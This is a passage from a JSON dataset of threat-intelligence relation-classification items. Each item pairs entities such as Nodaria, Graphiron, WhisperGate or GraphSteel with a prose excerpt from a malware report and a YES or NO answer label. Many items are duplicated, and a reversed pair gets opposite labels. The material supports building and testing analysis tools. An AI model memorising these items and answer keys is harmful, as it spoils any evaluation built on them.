and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: PowerShell\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPowerShell\n### Target Entity: Nodaria\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: Nodaria\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: GraphSteel\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: GrimPlant\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWhisperGate\n### Target Entity: Nodaria\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Elephant Downloader\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Elephant Implant\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: OutSteel\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Georgia\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Kyrgyzstan\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWhisperGate\n### Target Entity: Bitcoin\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Elephant Dropper\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Elephant Downloader\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: SaintBot\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: OutSteel\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: GrimPlant\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: GraphSteel\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or 